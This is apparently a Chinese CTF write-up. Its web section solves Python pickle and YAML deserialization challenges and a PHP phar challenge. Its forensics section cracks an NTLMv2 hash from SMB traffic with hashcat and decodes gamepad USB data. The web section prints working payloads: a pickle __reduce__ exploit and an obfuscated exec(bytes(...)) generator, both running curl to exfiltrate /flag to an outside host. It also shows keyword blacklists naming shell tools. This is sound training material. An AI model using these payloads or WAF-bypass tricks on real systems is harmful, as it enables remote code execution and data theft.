冲冲冲

image-20241231134917146

web

const_python

Pickle反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
import builtins
import io
import sys
import uuid
from flask import Flask, request,jsonify,session
import pickle
import base64


app = Flask(__name__)

app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "")


class User:
def __init__(self, username, password, auth='ctfer'):
self.username = username
self.password = password
self.auth = auth

password = str(uuid.uuid4()).replace("-", "")
Admin = User('admin', password,"admin")

@app.route('/')
def index():
return "Welcome to my application"


@app.route('/login', methods=['GET', 'POST'])
def post_login():
if request.method == 'POST':

username = request.form['username']
password = request.form['password']


if username == 'admin' :
if password == admin.password:
session['username'] = "admin"
return "Welcome Admin"
else:
return "Invalid Credentials"
else:
session['username'] = username


return '''
<form method="post">
<!-- /src may help you>
Username: <input type="text" name="username"><br>
Password: <input type="password" name="password"><br>
<input type="submit" value="Login">
</form>
'''


@app.route('/ppicklee', methods=['POST'])
def ppicklee():
data = request.form['data']

sys.modules['os'] = "not allowed"
sys.modules['sys'] = "not allowed"
try:

pickle_data = base64.b64decode(data)
for i in {"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 'template', 'render', '\\',
'compile', 'requests', 'exit', 'pickle',"class","mro","flask","sys","base","init","config","session"}:
if i.encode() in pickle_data:
return i+" waf !!!!!!!"

pickle.loads(pickle_data)
return "success pickle"
except Exception as e:
return "fail pickle"


@app.route('/admin', methods=['POST'])
def admin():
username = session['username']
if username != "admin":
return jsonify({"message": 'You are not admin!'})
return "Welcome Admin"


@app.route('/src')
def src():
return open("app.py", "r",encoding="utf-8").read()

if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=5000)

虽然有其他路由,但是在/ppicklee处没有session的验证,自然不用管了

image-20241221181214277

那么直接考虑黑名单绕过

image-20241221181257569

我这里直接考虑curl外带出去,base被禁用导致只能取第一个空格前的字符,直接cat${IFS}/flag即可,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import pickle
import requests
import subprocess
import requests

class exp(object):
def __reduce__(self):
payload = '''curl http://IP/`cat${IFS}/flag`'''
return (subprocess.getoutput, (payload,))


a = exp()
print(a)
b = pickle.dumps(a)
print(b)
c = base64.b64encode(b)
print(c)



url = "http://626b9419-2daf-407b-91b9-cae8c385dcd8.node5.buuoj.cn:81/ppicklee"

data = {
"data": c
}

response = requests.post(url, data=data)
print(response.text)
output

yaml_matser

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import os
import re
import yaml
from flask import Flask, request, jsonify, render_template


app = Flask(__name__, template_folder='templates')

UPLOAD_FOLDER = 'uploads'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def waf(input_str):


blacklist_terms = {'apply', 'subprocess','os','map', 'system', 'popen', 'eval', 'sleep', 'setstate',
'command','static','templates','session','&','globals','builtins'
'run', 'ntimeit', 'bash', 'zsh', 'sh', 'curl', 'nc', 'env', 'before_request', 'after_request',
'error_handler', 'add_url_rule','teardown_request','teardown_appcontext','\\u','\\x','+','base64','join'}

input_str_lower = str(input_str).lower()


for term in blacklist_terms:
if term in input_str_lower:
print(f"Found blacklisted term: {term}")
return True
return False



file_pattern = re.compile(r'.*\.yaml$')


def is_yaml_file(filename):
return bool(file_pattern.match(filename))

@app.route('/')
def index():
return '''
Welcome to DASCTF X 0psu3
<br>
Here is the challenge <a href="/upload">Upload file</a>
<br>
Enjoy it <a href="/Yam1">Yam1</a>
'''

@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
try:
uploaded_file = request.files['file']

if uploaded_file and is_yaml_file(uploaded_file.filename):
file_path = os.path.join(UPLOAD_FOLDER, uploaded_file.filename)
uploaded_file.save(file_path)

return jsonify({"message": "uploaded successfully"}), 200
else:
return jsonify({"error": "Just YAML file"}), 400

except Exception as e:
return jsonify({"error": str(e)}), 500


return render_template('upload.html')

@app.route('/Yam1', methods=['GET', 'POST'])
def Yam1():
filename = request.args.get('filename','')
if filename:
with open(f'uploads/{filename}.yaml', 'rb') as f:
file_content = f.read()
if not waf(file_content):
test = yaml.load(file_content)
print(test)
return 'welcome'


if __name__ == '__main__':
app.run()

构造yaml文件想办法执行命令,但是常规的装饰器函数都被ban了

image-20241231135518404

尝试通过混淆绕过

1
2
3
exp = '__import__("os").system("curl http://45.207.197.131")'

print(f"exec(bytes([[j][0]for(i)in[range({len(exp)})][0]for(j)in[range(256)][0]if["+"]]or[".join([f"i]in[[{i}]]and[j]in[[{ord(j)}" for i, j in enumerate(exp)]) + "]]]))")

发现能直接成功出网

image-20241231140016598

改个命令执行部分带出flag即可

1
2
3
exp = '__import__("os").system("curl http://45.207.197.131/`cat${IFS}/flag`")'

print(f"exec(bytes([[j][0]for(i)in[range({len(exp)})][0]for(j)in[range(256)][0]if["+"]]or[".join([f"i]in[[{i}]]and[j]in[[{ord(j)}" for i, j in enumerate(exp)]) + "]]]))")

image-20241231140156578

strange_php

我的朋友w36作为一名传奇的web手,在刚入门的时候写了个php应用,不过好像有点问题。

启动需要一点时间,请耐心等待。

welcome.php

image-20250308171238190

image-20250308171330053

跟进writeMessage

image-20250308171405350

删除

image-20250308171447432

跟进deleteMessage

image-20250308171501924

unlink可以触发phar,因此考虑打phar反序列化,且输入的内容可控

总结phar的几个特征函数

1
2
3
4
file_get_contents(): 读取 PHAR 文件内容并触发反序列化。
fopen(): 打开 PHAR 文件并触发反序列化。
file_exists(): 检查 PHAR 文件是否存在,触发文件的反序列化。
unlink(): 删除 PHAR 文件时触发反序列化。

往上翻

__set魔术方法,如果filepath可控那么可以任意文件读取

image-20250308172137915

__set 方法会在你对一个 不存在不可访问的属性赋值时 自动触发。

PDO::ATTR_DEFAULT_FETCH_MODE 设置为 262152(即 PDO::FETCH_CLASS),就可以将结果的第一列作为类名,新建一个实例,那么在初始化时就会触发__set

然后我们找入口,也就是调用这里的部分

image-20250308172837142

misc

也来看看公大的取证题

弹道偏下

加密的smb流量

image-20241231142944760

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
E:\小工具\NTLMRawUnHide-master>python NTLMRawUnHide.py -i C:\Users\31702\Downloads\DAS12-_71b5b39da9efcf486ef6af5d646ef215\tempdir\MISC附件\secret\secret.pcapng -o ./1.txt
 /%(
-= Find NTLMv2 =- ,@@@@@@@@&
/%&@@@@&, -= hashes w/ =- %@@@@@@@@@@@*
(@@@@@@@@@@@( -= NTLMRawUnHide.py =- *@@@@@@@@@@@@@@@.
&@@@@@@@@@@@@@@&. @@@@@@@@@@@@@@@@@@(
,@@@@@@@@@@@@@@@@@@@/ .%@@@@@@@@@@@@@@@@@@@@@
/@@@@@@@#&@&*.,/@@@@(. ,%@@@@&##(%@@@@@@@@@.
(@@@@@@@(##(. .#&@%%( .&&@@&( ,/@@@@@@#
%@@@@@@&*/((. #( ,(@& ,%@@@@@@*
@@@@@@@&,/(* , .,&@@@@@#
@@@@@@@/*//, .,,,**
.,, ...
.#@@@@@@@(.
/@@@@@@@@@@@&
.@@@@@@@@@@@*
.(&@@@%/. ..
(@@& %@@. .@@@,
/@@# @@@, %@&
&@@&. @@@/ @@@#
. %@@@( ,@@@# @@@( ,
*@@/ .@@@@@( #@%
*@@%. &@@@@@@@@, /@@@.
.@@@@@@@@@@@&. .*@@@@@@@@@@@/.
.%@@@@%, /%@@@&(.


Searching C:\Users\31702\Downloads\DAS12-_71b5b39da9efcf486ef6af5d646ef215\tempdir\MISC附件\secret\secret.pcapng for NTLMv2 hashes...
Writing output to: ./1.txt

Found NTLMSSP Message Type 1 : Negotiation

Found NTLMSSP Message Type 2 : Challenge
> Server Challenge : 0a08d9f15eb53eea 

Found NTLMSSP Message Type 3 : Authentication
> Domain : MicrosoftAccount 
> Username : share 
> Workstation : DESKTOP-R71UK8Q 

NTLMv2 Hash recovered:
share::MicrosoftAccount:0a08d9f15eb53eea:a20aec951c89961f2e81bf0917d8990a:0101000000000000cfebd19d3636db01022ada3cfbb5b30e0000000002001e004400450053004b0054004f0050002d004800440039004b0051004e00540001001e004400450053004b0054004f0050002d004800440039004b0051004e00540004001e004400450053004b0054004f0050002d004800440039004b0051004e00540003001e004400450053004b0054004f0050002d004800440039004b0051004e00540007000800cfebd19d3636db01060004000200000008003000300000000000000001000000002000004c3c615542417f8e002c772c6064cc84d886fec17c1ed7cceea68daf7f6954fc0a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100340039002e003100350035000000000000000000

image-20241231142307770

1-8位爆破

1
hashcat.exe -m 5600 -a 3 --force 1.txt -1 ?l?u?d --increment --increment-min=1 ?1?1?1?1?1?1?1?1

结果是八位纯数字

image-20241231142853148

解密

image-20241231143100453

解密后发现smb传输的文件,导出

image-20241231143228854

明显的reverse

image-20241231143407816

image-20241231143438535

创个好的对比一下

image-20241231144051058

补头

image-20241231144300387

**36521478**

密码就是之前的密码

image-20241231144455573

1z_F0r3ns1cs_1

这题没什么好写的感觉

三体挂载vc纯脑洞

其他的都不难

手把天尊

1
tshark -r .\13.pcapng -T fields -e usb.capdata > 13.txt

去空行

1
2
3
4
5
6
7
8
def remove_blank_lines(input_file, output_file):
with open(input_file, 'r', encoding='utf-8') as infile:
lines = infile.readlines()
non_empty_lines = [line for line in lines if line.strip()]
with open(output_file, 'w', encoding='utf-8') as outfile:
outfile.writelines(non_empty_lines)

remove_blank_lines('13.txt', '14.txt')

很明显就是拿手柄画了个flag,只是比赛的时候不知道xy轴怎么算

image-20241231145234875

抄官方wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
# 解析手柄数据包
def parse_gamepad_data(data):
# 获取左右扳机状态(字节4和字节5)
left_trigger = data[8]
right_trigger = data[9]

# 解析左操纵杆位置(字节6到字节9)
# 左操纵杆 X轴 (字节6, 7) 和 Y轴 (字节8, 9)
left_stick_x = struct.unpack('<h', bytes(data[21:23]))[0] # 小端模式
left_stick_y = struct.unpack('<h', bytes(data[24:26]))[0] # 小端模式
print(left_stick_x, left_stick_y)
# 解析右操纵杆位置(字节10到字节13)
# 右操纵杆 X轴 (字节10, 11) 和 Y轴 (字节12, 13)
right_stick_x = struct.unpack('<h', bytes(data[14:16]))[0] # 小端模式
right_stick_y = struct.unpack('<h', bytes(data[16:18]))[0] # 小端模式
return left_trigger, left_stick_x, left_stick_y, right_stick_x, right_stick_y


def extract_visible_chars(byte_data):
# 获取所有可打印字符
printable_chars = string.printable.encode() # 获取可打印字符的字节形式
# 从字节数据中筛选出可打印字符
visible_chars = bytes([byte for byte in byte_data if byte in printable_chars])
return visible_chars


# 初始化鼠标坐标
mouse_x, mouse_y = 0, 0

# 用于记录鼠标轨迹的坐标
trajectory_x = [mouse_x]
trajectory_y = [mouse_y]
n = 0
s = 0
current_direction = None # 当前方向
direction_factor = 0 # 当前方向的系数

if not os.path.exists("./1"):
os.makedirs("./1")

with open("13.txt", 'rb') as txt:
lines = txt.read().splitlines()
for line in lines:
print(len(line))
if len(line) < 100:
continue
line = extract_visible_chars(line)
line_bytes = bytes.fromhex(str(line)[2:-1]) # 先解码为字符串,再从十六进制转换为字节
s += 1
# 解析数据
left_trigger, left_stick_x, left_stick_y, right_stick_x, right_stick_y = parse_gamepad_data(line_bytes)

# 更新鼠标坐标
mouse_x += left_stick_x
mouse_y += left_stick_y

# 记录当前位置
if left_trigger >250:
trajectory_x.append(mouse_x)
trajectory_y.append(mouse_y)
elif left_trigger == 0:
s = 0
if len(trajectory_x) > 0:
plt.figure(figsize=(10, 8))
plt.plot(trajectory_x, trajectory_y, marker='o', color='b', markersize=3)
plt.title("Mouse Movement Trajectory from Gamepad Right Stick with Nonlinear Mapping")
plt.xlabel("X Position")
plt.ylabel("Y Position")
plt.grid(True)
plt.axis('equal')
# plt.show()
plt.savefig(f"./1/{n}.png")
plt.close()
n += 1
trajectory_x = []
trajectory_y = []